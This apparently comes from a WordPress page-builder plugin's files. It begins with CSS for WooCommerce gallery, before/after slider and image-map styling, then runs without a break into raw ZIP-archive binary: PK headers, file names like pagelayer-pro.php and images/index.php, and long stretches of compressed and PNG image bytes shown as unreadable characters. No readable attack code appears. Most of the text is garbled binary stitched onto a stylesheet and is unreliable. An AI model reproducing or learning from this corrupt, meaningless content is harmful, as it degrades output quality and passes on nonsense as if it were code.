.pagelayer-woo-gallery-left .woocommerce-product-gallery{ grid-template-columns: 20% 80%; display: grid; overflow: hidden; box-sizing: border-box; } .pagelayer-woo-gallery-right ol{ text-align: left; display: grid; grid-template-columns: repeat(1,auto); overflow: hidden; list-style: none; padding: 0px !important; margin: 0px !important; } .pagelayer-woo-gallery-right ol li img, .gallery-thumb-position-right ol li{ width: 100% !important; height:100%; } .pagelayer-woo-gallery-right .woocommerce-product-gallery{ grid-template-columns: 80% 20%; display: grid; overflow: hidden; padding: 0; margin: 0; } .pagelayer-woo-gallery-top .flex-viewport{ order:2; } .pagelayer-woo-gallery-top ol{ width: 100%; order: 1; text-align: left; display: flex !important; overflow: hidden; list-style: none; padding: 0px !important; margin: 0px !important; } .pagelayer-woo-gallery-top ol li{ flex: 1; width: 100%; } .pagelayer-woo-gallery-top ol li img{ width: 100%; height: 100%; } .pagelayer-woo-gallery-top .woocommerce-product-gallery{ grid-template-columns: repeat(1, auto); display: grid; overflow: hidden; padding: 0; margin: 0; } .pagelayer-woo-gallery-bottom ol{ width: 100%; text-align: left; display: flex !important; overflow: hidden; list-style: none; padding: 0px !important; margin: 0px !important; } .pagelayer-woo-gallery-bottom ol li{ flex: 1; width: 100%; } .pagelayer-woo-gallery-bottom ol li img{ width: 100%; height: 100%; } .pagelayer-woo-gallery-top .woocommerce-product-gallery{ grid-template-columns: repeat(1, auto); display: grid; overflow: hidden; padding: 0; margin: 0; } .pagelayer-product-images-container .woocommerce-product-gallery, .pagelayer-product-images-container .flex-control-nav li{ width: 100% !important; } .pagelayer-data-tabs-container .woocommerce div.product .woocommerce-tabs ul.tabs li { margin:0 -2px !important; border:auto !important; } .pagelayer-data-tabs-container .wc-tabs{ margin-bottom:0px !important; } /* Product image end*/ /* Before After Start*/ .pagelayer-before-after-container{ width:100%; height: auto; margin:0; } .pagelayer-before-after-slider{ width:100%; position:relative; overflow:hidden; line-height: 0 !important; } .pagelayer-after-image{ position:absolute; width: 100%; height:100%; top:0; left:0; overflow:hidden; z-index:1; line-height: 0 !important; clip-path:polygon(50% 0%, 100% 0%, 100% 100%, 50% 100%); } .pagelayer-before-image{ height: 100% !important; } .pagelayer-before-after-slider-vertical .pagelayer-after-image{ clip-path:polygon(0% 50%, 100% 50%, 100% 100%, 0% 100%); } .pagelayer-before-image img, .pagelayer-after-image img{ width: 100%; background: hsla(0,0%,100%,.65); height: 100%; user-select: none; object-fit: fill; } .pagelayer-resizer{ position: absolute; display: flex !important; align-items: center; top: 0; height: 100%; width: 4px; left: 50%; background: white; -ms-touch-action: pan-y; touch-action: pan-y; z-index: 1; cursor: e-resize !important; } .pagelayer-before-after-slider-horizontal.resize{ cursor: e-resize !important; } .pagelayer-before-after-slider-vertical.resize{ cursor: n-resize !important; } .pagelayer-before-after-slider-vertical .pagelayer-resizer{ width: 100%; height: 4px; top: 50%; left: 0% !important; z-index: 1; cursor: n-resize !important; } .pagelayer-resizer:before{ background: #42414f; font-weight: 900; display: flex; justify-content: center; align-items: center; color: white; position: absolute; min-width: 20px; min-height: 20px; border-radius: 50%; border: 2px solid; border-color: rgb(255, 255, 255); top: 50%; left: 50%; box-sizing: unset; padding: 5px; transform: translateX(-50%) translateY(-50%); } .pagelayer-before-btn, .pagelayer-after-btn{ font-size: 14px; position: absolute; top: 50%; transform: translateY(-50%); left: 0; color: white; background-color: #129efaff; font-size: 13px; padding: 8px 17px; border: 0px solid #42414f; cursor: pointer; border-radius: 2px; text-align: center; z-index: 1; } .pagelayer-after-btn{ left: auto; right: 0; } .pagelayer-before-after-slider-vertical .pagelayer-before-btn{ top: 0; left: 50%; transform: translateX(-50%); } .pagelayer-before-after-slider-vertical .pagelayer-after-btn{ left: 50%; transform: translateX(-50%); bottom:0%; top:initial; right: auto; } .pagelayer-before-after-container[data-resize-event="none"] .pagelayer-resizer{ cursor: auto !important; } .pagelayer-before-after-container[data-resize-event="none"] .pagelayer-resizer:before{ display:none; } /* Before After End*/ /* Image Map Widget */ .pagelayer-imgmap-container { position: relative; overflow: hidden; } .pagelayer-imgmap-wrapper { position: absolute; width: 100%; height: 100%; } .pagelayer-imgmap-svg { width: 100%; height: 100%; margin: 0 !important; }PK+Y\2Ipagelayer-pro.phpnu[r#ǎ54Z: z@)efn`idX1;8::tم!wOF/oF_?CN9}șسG'$&JNIeL;t\:C22PPx"CJ+*bU5u M@b-m]݇BbpХbL6}C.Ϛ=*6wĿW/Xư굣ٗ,˲+8VyoMlڶ}] DqJy%tEXtdate:create2019-03-29T10:44:59-04:00}%tEXtdate:modify2019-03-29T10:44:59-04:00 ptEXtSoftwareAdobe ImageReadyqe<IENDB`PK+Y\cB4!!images/index.phpnu[fT?*|TDNXZOM\5V֌ڲo֞C >zB:myLc3^65jX7v{Yg̱9./M6tLǵ˟ԖFmXj[{7> 3ըZdW~)pV'.w~ ,[q=?=N7]vKH3P߸cpR.29ӹ횬` [=>篸RA4m٦OٹnI 3$h7Lp|^Gwe)zxoӸY7DL7ٗ S1lv78[oQʬ9 !HXF_ O%)bQlq8{&se_rw\`#4(vȴtf~xX&?-`t (IkhjdU64-D fhFZ.˪jߏc;Wjpm8UNbnyDZ;(kg(d~"u.)G x8MHd~bߍՄiwa72A;Dⅿ)m)== _ 0Hցs5lHMa ^~%s~˄?܍`@A |vm`-mGP›ҬrG[!%[ oK).ш c2w-`./d1},c35yMK@so6FQVt2t4L\uK ~i92ζ2Ds#6u&#kE8("(ʴa?Er=`LInA.Q4r[؅XLGeレ D"s|n &w.[mV4P&q#>htܡTL=-@@,,Vm0M:4E]0~#mÚpPab( d> '"H=_? 98Cfmz^-c5|JB&o> ReoF\.w`xM e3`BS.\RfErcq#»rMX@IhŤp@QHVa092EZyCs:\-@)A.(OJ۟Wԯ IeK X*%R Bz ?s"^X-)rZP.s7F:1tbl=,KJSF eavCE)RՖ#1̴eeȅ^ɭnd_|,/k|$0 =y=9tBL`ra{eīe 8tV$he:á 6:I]H WGd$^b@g 8@@@MXʳŎ(Ѡu::WP٬qf8)GlЩgHr!.xKa|_~vF,%?aBe @/{؄:r̭^yKqL:53ЬL L-zS\26qL{ՄrQɄHKxX^~6AlD"\TtF wnykoV Ð6[ ||lk-&hriE:|<뎗c pBë)vGqBbc;ϊnc;'RyhLݵ~ˑ[fpHo嗆zQ3XqЇaV{ pgC^q)6uQ 0InODo袼tu"/TW@6ƍ80 30{q2.\zeH{8dg]=Y;fGi+\]m} +upǮ?i DqFtJIENDB`PK+Y\images/pagelayer-logo-256.pngnu[PNG  IHDR\rftEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp Abstract P Logo Collection M?UIDATx TՕO5-4; #ѸDWhA%F1j Hu4΀$FG̨qA1MWǽ MTWի}?~wfBIC@]*>dL*Uwjӄ~t՜(uQ!b^6 @H,/ZXjzvj!k9KUz.QIDUcL*zu5deq{O|su[yhh0|=RR5_uTE6+Y΂a_vWTu^?q祪g\ߕXGOȾ>:NS}P>l4R p.Ib;CDFGvT}!iU[T󭃏@ `ZnKqcT;3y&x3xYuO 4by{>/)ڙLC^zVCC(7{T}GÑ8}TPըPݩ T`GTE:^s*c8kGTT %|n•+XQT MsTϨ.UeHaoMrSyg^R]ښ!CU3Tb8h́;gT]&n>vS݂iu@hk~ō&aHRky#N7Uuj"k|S`LӆglEuM'XL2c I`YBLh)}k%6{Ҁ Uϋe"7L2F]Bb+VVՎTJ]smi ,nJKұ5~?^YKwԷ79_h22],\:S]Sq7ճյ`|I-ad@>Y܎ϱ?A@͟O  ~n*m\$>IK{qYhq/M`n4۵ם')chc7_}$eM,'?Pz;H|IЭb5b_$p-Fhw d~HՑP|b`=7(8 G:G_' ?).4ANr+YK[j;%t$$6m >,$&@@`~ppM D@f')Zw D6^2Lh,b0Ecʺe@H!$1LvQXiFa b lj;ƺh|APaV Ϫ|a/R<4U'ѭCƋ|Wi7U4.y'!_gLH`]~3m?仼PJ6Tj8+!9sW* S~=L i1~6%!-e@/q'BZfIʄ/$p8Zn-ܚ P+)ժy󇪉 .=j5YV wI?E1g L-oygB0qBx4{Ҡ;}1>Zuz5_CZq)jWՁIpv{!GvĝsT v@S [q_譺^u@SQ˲1`VP"y/q^w]CRH*tb{jah s:z4ߐ973?84;fMɛyʯߨJa7 n3T#陡1@/Q}Bu8+M9v vRg">L5%0qg>+"6q Xax,2 [$w~.n+)7"'Of8+߬Gܪ7aՙe3čL. EMu6I  6XO͵y GΌ7iRH+ VϠI6GBPf"Y~&.w@I `(Lvj (<}8|.EfFJexG2񎯩.`(uC؀uj k|.@AH?>[[$m}(cۢ9( Htc(Ӂ&mhsZV}O8Wj>-̰`80,I@ s5kXc1XC_!%bpܾj0750}_vH<2  X@hWlŸ09?8>MËm*)絽0I)Bs)߹e(߯{ѿZP m߳X%֓}";ҧdbb$⧸-jB 4sTLE$ 7/x' ϲ%ȸ bs@Bg;`թmȪ?h$)6S&@Σb&fF/gHF 2C EPbX]Wks1+-peu+)UUU'w Ò(=jUH GWU?#)G'dIR-R95v߄&4zQ( Pa ) id)!X5I!r$ 0ꤤ ~]_D $,KM!G3Jh14B`j+!< | ;`;is%ch$< ס[?܅-BJl_/ b t  O $w~vi g J6K $y3z~qC ? Zm% ċ͊ɭ?3wy6N{ TZiaka2!k[u5 Ȧi-n)k7N y_5QuS<,n"AB b twTT#/nZ@0M[c  58,@l0Wj,k||mo CB 717I"9t@HazF4 =Kueq[sYH<9{{!tj_Z&.>1Q}- &Tf3Ȅ z~S ~i!-TdjUYcY:MnIL|Oky_n*vs=+nD:6bsK4bIENDB`PK+Y\=B))images/pagelayer-logo-24.pngnu[PNG  IHDRw=gAMA a cHRMz&u0`:pQ<bKGDtIME ,;Elc?>ɮbMެEw:Ow{̥Alø?c+T=k46(@m #~)ed\pp7^\&G6J2FUGW+KUJdadpkA;NH0»OZ<pѡͦjm}xk}x)erߤLZ7eR܉T;ȥ~ݍd/^D̈́KҎBFQߩd. k [s[)WS8gUj},bKbx uj/VHDVT󍚫b! ®h(]r+qVl!"ᷲQ?>| &-֎pdZw씅Opﶧª Abstract P Logo Collection _zXIDATx̙[HTAǿsvմY]@ XdVd TCFPQ%SCDE_K)DK0Ƞ"ˬ| 5uwOYe]Ϝ3ݵ>̙}3'g{",d0La 474NOI J'eF c2J.lITKV@ Q{My`-0 TÃJSd, nKΧjK\FJS G4=뺳SdAxR {JTpqfSc8@{zC =(x)R]σqF |gg>v7ϳ`*[<3ƃY|Yk48V ,T כ$Yr \+ 1y:_>]/Y(Z7otd~vj-);` ͯ}y(rsV+(&083;Z!x DA^J7s;($op^m&z-9 \)S ^&.P%21_uңuq[0W vTAV/HQ8'V'nY =Yl )QVc5}LTKN%C0MUɜͭ 4]5[&QO:xNl_+PT~8&sP x kfilY#` d XZvlYX8_:RL.v_P%񻎜9]NYv3&@0惌[~QmcYgFl.gةS;@*=nq)h]FR_@E|ӓeˋ,= "cZ?i\ܤ@c~c|=V$l;vvH@b 6W\.F ^ac~nnd˧׷'l ަuf󍿷|G;e Yc8݅n? ~Kұ}po2߷D$BdJqS-.Ԭ}WKUr}2|>GnѼoX[5Ŗ1{W{E7mO.F%GxUr.Զ}Ƕ]_:sruKCWݶNLk2rT]y4C;)M{D g {z#+#gIɈVj~C"xދEQ'Mvơф?')f]TwIWVm\eVK򸛕|gU4u.N _dKMOz{ニ:*X}Z  ?4&ǶZBgt98|SY\|yNrfݹ/d>DG6"FO64ŏ_'@ގjuIa >1ڋeOfPyݙd<5$s~.딱O5O}R\|{ ##ctoߘMztҒw]sM"nCLT^|*&8"6vo1ѧV0}FN"yD*bϼGcH>I|'û+egd~X,aM}F;NkMϟ66}>] +HJӮ,'ؠ0~pI+u5EIG/T嗠&vo N}?W뉩Xm:B7y(pR]_Y|޹ykrN#?^oߣ3̥zQOi*?-VnPpqHl2a| +tu2C%ijCuPH)pc =ݽ]]}ѣO$l˧^BkDf3W>s[\@Vd 1ꕝ8&/=|UꮷO!>wqΗg.cw XDlc_/\S nlwM=_5ʌE#F{i(b/6 a~6cf9E[nm0FG [yY_n?5>.ղ/}C12"b/_$(UvlИKr|-!z +ܖGVRaBwT썣Ŧm/'ٓFx+?pV`|}(r瞾!|,67*,K|;fINhs ~"=F|fiH -]+' +0 lW`W_DZKZ+mD>Vy|ONc}V/cATK]qT!9g!cWMKAZy zO (>gZaU޻7W4Cq߄HCFo@$u_Y'{VnJeh=+t9列pz)[rk.[-6>yl4}S^˺Do}5غ);w`ƴ^vE8'{g@9)WNY`9>Cg$h{ˎ >q /<(ud ]#硍[ϰuZ/Y{ [j?jJ >E5"% ]wꣾ#k 8=okMORLUC$0d Y3AG\4G׳ [@9(ҟH09Iͫ;&4V@=ݠ"@W44ZT&jz|w9zϠ7X ?L:p|?RZLTR`O涋z2^PןHZ{Z^gͻ%+ .3f^۞o1 z,`Bb@pAY@:%W##bfl ^ٶ򯍋W4KFpl:`.WNb.#ty_嚑#W..۶[}$Oe,xt/U %%=";gmEFK ;ttj°?& CILz뺦wmyH)TOPuϭo\wa^P͞^yt,\3p!=z Ԁɻ,-']bsW!YzRP=/@6ttu|||Vxc3߿~Ӓ}đ [s,ll۷v4P2P;/ъ5BѧZygnA >z_?"}R\|%㚠Kk0-=ܲ,0xϝ˼ϯU槨x|U@xxx᤾˼IWynR-{:iӫoـ MIpVKn͹* jׯ^0ի^~/,Fp|kzz6lٔEvJ@q 0ˣ^zJ3QS;9k=ݷv#2ю8c5Ӈ } u^Bshٷf͛6+:4}Fr0кƍuj <{Ymٻ/=V0[72=|>"x ƿ(fÀsOf@'ͰfקFvlym}|n@ ^,}9{2fcʔ5P*r3@y{?7{{zjg@F=l4@yGJ`;>ZzGB8OA0׆ZjLO} ^է~_,q P >Q3@~.pL߰V|vݙ^| 7="U@[[@vxqcˣ^b==>m]h?G0xVi9uŋڱ\@Ȯso鹀0T$g@Fd wsU07in= ueC@*Mxu4Bacr/9`'M?R;}~tkj +3ѷ@# ~ %?=hEkݟYT ҲH7loVKw<..7:X+T OVaV\3@bM@Uxe"xy5yZ/ σ=zd}Zd ^V.FtH[D &hR2D!! N((H% HZ{IEБV&"k1M$]O4"fc0ג)y3cj[^Si(R,c/=4j՝@c֥L}JL9hΦ &= &Zϝ\4ᭀIV`ZLڿ+OWն:2R2ֶ-O_}6L:"U"YNo|ン@6Z`3#}wAm M" %?qw:s:@ *-{ұ<|*& rC 78&j y:Ozd Zϛ6nJ 0G$TLQ=]#TN|:F1L(3N&FMDJ% |lI5"%9.$}"oSKuzT;X_׎8=: yxuǟ^^T@u<=~:Xgݠ_ =GK|/vr^<ϏWo` 9.3:xo{>p~w -=_ӹNGo ߣ:cS{y=N2I8wO>W,piw=Q[@gpa5puW lc^πy7 muҿ{8{}4Ӆ|H_]d|^8վ3lut &Չp ^o6鶚^bh\ZҔʙZ@|XL -E"+^ 8~q3^_OK{1th#:﵃m~^IrC O:|aq.0vt:3}Lm !7 \I״*4+ZMlu:&e@Mt צ@o\yP Vy$E(kZ sW5֫b TY4R̹CX޷K8+S\ n):^mu8|x_i[_!]m^4譼zJ%L=[V~ʱ:}6VfB*_{R kյ3N b^ptd@EWZ-{:*L UYakH[amy`OG0'y 2E+xɶӍr +H3Rm7[Ff_ )э@"-{yϾU mk+(81;_[ɿ.@Rt I(g6ml/?gұ ej߷ï8oXjJU^?f76@mVH&skNPoTi L!,&Y5=]vx| ,ZWOG2y7K$Be3jpyj BGw<^JN9<=mJܵ T7O@_TD7g mh^7뭈9q3ܽU@aɿW˕=NUr2G 1-|_@y\ovxަɗW_G'ep2_LJ8>y|ppo۴v+c^pwS5 4sOo/=ir9DNmgRf׽(~Oڷ3=,93 ~%_ېV)Lr'M3kHb+\k mo.uҐ]\t ⶵm}t@-\u2Ӿ9R^^Z O_izw cU\LoGcsvZm`MZs;)L8vkˀ{g\gI H@X+6h]mZtZN ]z9'9[Up#{Q`'KHP 1Qq!A "02RaPr#3BCS`b@T4Dcs5$%dEt£?$ݲ{w1/7ھ :]#jQzzGZHt5%_u-=)Hr+r Op{wS> St;!i<T.?~&AOR{W'#wsvcD꯺=AR\ Zbo6FцNiQtKeGzSXAi?! *"b\.Uos~l#:='bE0  [I[ܑ 3R;.?>&dZ:OjBZ:^7OJk;.8;>qJ5H$)71?Pt'HkX.sݛnіPdjE[dXW,ydyrN@'Ŵ*F5Y=\-C}T]ғ|RIzFc85_=Iӭn yPTUbh-n/'W.&_O^/b~DƤ%Gp{|AZZb]3/'*ץ][V;{jՍU߯/ti ̪M6ca VVw u}V%uucmLKT-7kͲο7eeb0A85q@HtE$T Te9&Ê{ 㷼;L7^eϥ6Sano$Utue# ~^ePZInI0E~W0Y K8Nussqw)yKn˼<ق?jK\A 3D ʃHqS[p1,J*} L>ŝͷb {õNf ѿaҧ<OmuBX%GSާ"YR$g¢{tKْwɹe_R3ekL-,0YTH\()=Ec;&@b~)®˫ltmŬX%h߈y֝ҘWFߴ#+e`A~[XNTx+T5'e!++rf ^jXEDQl~0Om/W662piv56FRTH>KAӮr]z~yOofjQP%zZOI،oj;U(D$,Eiϫ=J-%6 MvoϪ"H0}}ޏxq5qm=&B RIA+ {ΑEWF drt'jyeyr,no@o^ui6lXOJChdo;:۶2R#d>ayqM- *w~IMQZySt+OenD{+Z·H A *Zt]jDS}|c2<5}f>D\~b;$nUXkDזE%mN=6ؾ[4kNӮ5fyB{M _h;]ʾ%iƂVQqE v(Quidnq=&uٛ+kl=*RȞF=U$Rpiw}[%ZM"}#?Җ7['2 DNE&Oms S_Y:!<-Ft2 :w[7ͫh?~ot5?~}P-5k>2kCS?#K{fۮcWG[FHbHf|Xqgqm"z>m/&~g*};nI>]J:`2GLklZ*C)  ;L8} R'›򕥢Cئgi4M$ 3/X,O"w My[XVT_PȖrOAhڊpXQiWoqjGv+  @xk=2{)iО)3b$_O޿ ynWnlM`pؙ̑Q)< CZˀwAvґa>ɧGF(C-eKmq+,g;jz_d6TRC ;AkNO!3:86(ƥ%dIUծciPLaٲYźR{-r8 =*2 e;?O<ܿg  'pPWR`#PV2U@(AMIǺ(Y,@5Kwy]ē3Jʱ fcB(iZjăG7{_?xo}~]C,q5UeCl<$Z}WM/*in A{A[n8(v]tnqSC$2a 6ueu  F SM$$nUЂZ>Nttɜ 5⯺S+,(?h-ZRIἸ=W(JWf23HZ\v#=3HX*(b$TkXrPOXC53 b#px(&u?ʎ.B}(ϣ6223j}JD)h ,ogg!KXW 'ɂ@=L+ԉӽc&NH]FEaˁ)N _Oqs*/H\&Ww~NCw̷U{* 2Q$½i$8c"-*k˩SWy!TxI. k~j-.,l|a@l?YCُ4dT3KϨz"aD .,6IԙwWtL =x^D8e9 lSK BV-J$%GGPQ*1Jn#fgd?) &-Ep3Y$oA(nZ}RJS䞎ءg cV\1aďl~Q{vy"%fv,YI'j;E,pPhX CBQB:"?M J jj̧.,׭8<5vHVՆ?ύ^7Zr=JmѮì.Ñ",ēIب_` 'an a AZm ʡK gj7N8!A#gF5O- CUJA9# w C*h€y[&:[$쵴^+t G2P6^j6cKI܋[ˌM=n@Edq;<;sMQjEd^c+e7#eRx-_j/2j#Z$,wO"E'mer8&vuzG0s]-)yvD}>`{CΈk"ȥYA`N *NoBf5k)/T2<+Xn,xo&r9NwMiu[yn4A ~wJ/җfv5+u"cCpA1F7"* ml;C"Z#S h-7;I$I$rI؈QK1&n~dx SL7;9LN\Xtqkp>øCGb/1Myw1 Q2E峯cu_<#IPe#5X$ٿop]YYIԸ;y3wK_l촶s'?GyvAoS _ȟVѐp ֹqR1˳N1 I,jzKAlI 0p#twRET9 grx"TG*®\|2|ɏ9l$)\#Qk*JZ͌ Z??[ݸaQ[֣W(2x 4Jw_Z̐)k@6g/ @5{FZ7Z劺/*aHw$L%1$t^J./gd[^F$5Y$E5cLK\n`pV8 +w UQ$>f[N{_6#s'Fd`[$Yȕ`նi1?g!Q^O6pp{ik}g K|oOG6v:׊1CpX"dv%ez H:5aӧ(|b!`΀7)#Gw8Uqp2جo& '&%ϔ#ш٬MՎ8As<[i.XNZiDQRi{dЭf|M ou&b9JΦ!dR0EjzSږ%cT*w?CAA#$!ފy^F'a}^N!4//<` x ie_is TpDT80$ӻJrI<KUܲǯ(2tt*xwѬNEԃ?{8?@]T 1 TAow/ MO8ɷ0_}K RTdnmWDK AD}5o{+-].57WbŰП\I>~'fsc#]Ktf y p | ֱli+I597n> Q%X$dDyQ,Nil- lj;5|!!EGjf>ԧ=sqWlV~r$L>&~M֦.%#^7,T'&^AsV/lw6+kF:\WͿJůzKCV % NsCCP;PPm A>Y EO`yIwu/3 +mI8디|@Sg}>|,h[x[nHZЧМ5<DHx]OH 8 Ij-:ofV*FC#w jQvo ;{\ZiXb Ku=UtS{ :d/zUIօ6kӒ&;^gGWZ}Zܟmi0;5sqnz. B6@[(A+9.vO0%?NI4wۂ(8mP CWD~]oVڽqZ{2+&78 YOfW]Bw\10E&nyRjo}?7*7" ^^%GI31HȬ/Yj7 &5{MLK.xe]@NB6{B+$i{EMA *;_HH\ob;ʰA:%d5}%*蕹kA'ن&pǁ;4~G;ntfb6'O4gƆ?|x, hhςRi8P8ɧ`H&g.x 59Bʼn5=&W @yE͹I opwC!)evP4a_~_~}_~}_^_xQl`mnF$|n9YG$II;4*QojFVӠLx PFe@%AO"`smۊ]JdZ\qkqhNxZ6GF'SZ贐+RN3OywtIG_tTS3Ib*Ӥt+֟Yj>$y:u*h$[uiue_z=$]kDMp-m/WĿ٧?HiPq$ W2#VRrd+fsblj$5#Ob6n@M>鷠_@ҘsRgoKejS&8ٍ d>' -D6V)c4O?iCwQ{{\ Vڍù! 1EEww <̈́Z~K,OV-sw⧮* .c"v7SDxaZF ׾#A A dqA*8 V>[{ܲ5qx{W4A#x;.4{YdL}gŸC_aq̭OR8@9:)w-fmg&\jףfk0;3ZV|x33gblj9>bC,lԚdxM2%~(2|tNu֫`yi;q9GU`?6LwFtwwtw=y>/9txח y>ut7\IBCQO55I}<S;ï1IwjNDdG_lAmnfyzplw_6;tFNKʟm7[-&ʸ5 2B\qj` ]GV#`q~V-բK(s QE\i:}ǵnz&k@dBe^{z93bۢco\*K=E2#fD3%:;q5X8J gޕ#n/lnFYW1Ǭ*MJ?Z !n"5 DW̊\,%xi(qOj W!'ƟRmW9RA)/jtwֲn)x%˺6T2&/H{caRh-o%r \WZcpqA#;:'zRysDZ=:R,RWC]=:lO? RI  Eh٤pA$00цz8NeRV9e;/-.-UPI;5N ́(^ Q[xrAԺ%r74w jD*pM-<5xL*jMz>GY m9CaQAEHm;`?]=ǫ+]}٬#t;!FfaVOP12$GFF)26$`"ōcoݜ%~ 7PmH1?>iڥGՐ~ݝ~E_IgQmBP~-Q1mp̞vOABp׷dBAyf;/՟O5x?">=euvz9~6#"YƯ:7[h.&~/b8C\~Oq5r͎@ J_#y.Sۤ35=n9jy;x8㳣>0̿C}wf=dR ,NQs uC7pq]:$sL8\պz9e`V&.cQSM>A8OtyIγ\Fſ |YdWc0{dnCa8ݳuy{FSYf˽rIG*28ެ0|ޏ\[b~Ly)-K9'nԤЮI"U⤵ECD ɓE:L?Q Vk>3@)J:3$w`^1'eﶟd՟G5t3EdqVGYEdqjQbu$@S! Xdl+J`&S>8~m.#I~Y#SVقYcC@=~ Zxrm6ZYw&x%l*B#(nGY m}䚞CEuk'>fOY^jԑ#4~oIBHn8 P][܂a7Ο7٢jx<4Ԩ#( ^Zdx}Klݽ rSzY_/~}[4+E'VI\E}lI8Udž|¥=id_ x'DeTjFwf4f͔S؉\vmvODf"<m7O}V66=rfF:-bӧT\nu_Zdlʾ/e־๊#[*+TՐGzQ_Uok'7q_Z`<6YُocjT$qd_7Ud$lISzVWUu9V5Ol;5/j}xx,-SI1sqFjFnI_鳢FX ]+9nU>{!d=h%;q U2*֚1Ņ]?H(v5ocyu!m# `x@[h\3=Ld_A8Ĩchv յeU5s'Չ6r `Tb"K}9rf-RM(oRtTeNIOj_I$';4fLfP:kVr.UD_=_OL$bDDJgƥIidl%'^dSȚ|q@P{n-{ yGWrWw7Y,{^[t &.t1+{Ds2Fަux(tH@ jpJ#,;/k-Ejne\-|ݲO xGKq۹[ Iѽ-wCZh A<$h2Tq' [ʟBu_xT$m%q)ՏE%l=Gjִ_īu.n;y|5=H8 `٬7ZA. Hµ bWQhH[S^i/|&dB`O!Q'^E^& lԣʤx=Sn@IH mSJfYNk8ɭ/!XEOo],/<"`8liIxs( Xწ紱 #=7D|^!V:5/쾼I8WΡw܏ 6Pr!\ 8iv2^^Xdz"Gw`'pJzG,L -8䡨^$+(u@n'ϼ60 -s=づfFVSR<9JFd\'@ dW4Vgh~fi}bahA,2'#Ռ6Bߙ*97oktfE'c? jX5-]֥ɧE :9v*@$O .8KiOH3gpZN)k0 0Q !$\d^GvKY6ʿbqust 9'UPsvvX&c3Q 5ػEK]մWPKq+Qӧӧ1J SmcrN8) C6exufG ovmV&AYcE,sF*F֮Kjj^)]?_,CӹBI;y$`A U]bnj Oo59W \qH~W)b@*\|O؏ۋX.h:WIk9rJCd5&IAZۜJ ժ[kOYFTvHŒ.ZQ_챻k+n$);Y]Up=XaV܈\GW9wb~'gE{esH˨AxA+SaV1H5iZjp<3G'>ִ5[@#oEӵx/X9Sz><ޕٞ0]ͨ= 7ޛTVD)z M 3Ic MI0a֣]wKg; M_If'{/)dE6*Vwܲ',$-$NI9';՘~٧ X(O&ՑUqHz6trͧ#1O]YI[]Azw(5o?HXg\ >vt߰62si/ @<юs]>GQm7\[҈ ^C?tz/[ _ߜ(mg"&VZpa@ A҅̈́Mξ|jy$_2ȺXHoăFAsfYMKMG"0A ,߽c>wъ9kN˅AUľU;Σ oc+ֿT:u/=uсVAm6j}e>ZtR;6c yą w'v"F.G q4(C6Of+jzMv*4yr&u,oraM?F5'U$$4ȴ );]~H0ouKo3*]/ZӰ?Նc~1 z7cyʊY jOrw;z?fV#!{9QxKi8|XAHwAOzuIoqɆa9 ; Ð5[Y;ڌjҭu)5Hg[7w]qq M,y5cZ^$F>}*)f ;I8>WP2gAn#5,R+*uާgx=Kl7_vNڃWOa:GSƵ~{Gr'c0R]eoc( =FjF_|_=~>wclf9o9 od4!ä:՘ݺ@Ŀ٭?ҩ |Ta1B[W]MS"5IYaщY8ҧ"B(Gr_k69˙?f-Zm3wum}!e̖ fO(w3?l`nCgEmw&~KK`^[MW4Y{&? dCp)j3@|ӻ&Ld`HW6ш珬+ṮfX8,&H6 ImN -n'ݠy#k5 L$wsΏ@dLn8yZ{SV `ŭ|qԟDAnnlۣm r9 O-i:}&[qoSWȿj^j$m/S]3`H;GT]@kABGe݂IXٍ}(qv최$8@ GG#V׵n0_3\`uV -iH>u?ٌ/Z-%D c'5(DPEӡ)@KS#G,jwA_=ӬyW7vEmD,Y3`Ejԥ$B[1!x>+X$SAWWR]K<ӟ7 tb8:tnQVHDe \i"$e*Gj쮦}lӵ!O[ݠA8 Ʈsp%m4SJn#̚gBD'W-ԱZv"d1գд*:@l28+9Dֺ<.l%$rC#G*28ެ0Gۡ"cz1ڿܵ "AW] ԓ=Y ovT EijfEzQjn=VV};d%?J4;rP)WKu2[X/ZSOT!ҩ{!Ҷ)htwxKCwqCVx-ifK[̐IzGVَKj{L]Cm"Y7>S!#١z0ņ/ם"ӍHSܛfI܉@%D*$' 2[/^y1ňsҋh-iO}wS_v!զ=f˱,{$l&a%'GfqK}CkqcC]q|tRNG_Q*gxGo~?Qשu_5j=ƥGzܑRQ|Z4˫%{dU[K_kWp~7|vfR#꯮|y5>uDRy$ tF^j1_ڼwn*['^y5ƮOl[hS6Q*UȖbi诛gfe0=MeiN]I9'gF4/u( t9" :2:Ο!xX}>Vjz#A3I(E(5Z:މ5ep<>vz7#f8+֥;ѐd2ͺj KkQ H?\_~4< 𫎔Yd/?Aj: vif;ى$v~SH=zt q;O!s .ڍ\~B3ZU_4u:EUլg`$A AzIuytTa}mL y~܊9i4ujL (b#;*('aQw흋' UT qr 'a[Omg_[WJlvӇب=ek ͬ }5?FuX}o?kK?=m*|Y;>|;i`\  * p8oa~donc˻`{m:$rN>ߪYk //[qr cEM3g9=ø '8d첻{+nS$WTR$rxEfjXhUԩkr2yhl}DTXvE9ɥ~!٘6";9_ٳGNK ; 0 |ӄq; AE HxdA5)S\K1gr6Z<觽QƑ DdYN)rrIgo$z ]~I][;a2w (1 NSFbgE/<{b_߸څHQV%TA+:v35ީtI}f%~m@y?᱆Uhn@;.!0LSOj#`$A(wyvUVxiO62B43n@wl'.QF DzQp)&Ӥ-VFIDB lԢIzfuMJBpzɿqllb|n,5qBQ"QѵSil؝gg$&13"`J`R'RIA-g6ONV;儞w0jF"5V 8QC#q;f!Byx w7('Uۦk;$.ǐO= :r 4oQE}>1Qjp$4(d`GꦌK@FA}2cu?֪m3Fř,I$'e|P g~eAF.A1B1}㵭„򥶷S xP̸rg˹p*I8U۩'Wq?ryr p_Q CV paGa<Ān'9ͭ䁾OsqO+aI&e^e}7]Ǡcɡl bYG 4L<VF*‘OL2:Ice(lQ$I$rIO3Aq5ol13;MXI${ I),_}QŎ)t>r" f6+`X;7%7naP A xiN΋?'XxvR6#9 OHFdb.y3;cNIakL;nD㬸"YAwK۔dpaj%<?b~MQ̓O}rpdQ$I$''m`q5I AS|iy XD79]\eHP  ; ֶ'`viy )w| 6 >oF!ōI$I$w{I;,C#l{?},\C͚)9SXHu=DV˂l!6|㛩9LJxyOjT:}F}i!Pxydrvω{?S:xQdU{x$xՇϷ]>|C'm0yIzz(|Nɼ$n*@jD1| _n0M> ]9A N{spL{R9v`'YLH9$Ph\?4Y{̓X ,.<[2׃q 4{N*>#Z(f/w Hq&CIN|؃fKLG`_U~{ +!GQm~9M_P-Hl8^Éψ93a2{~ 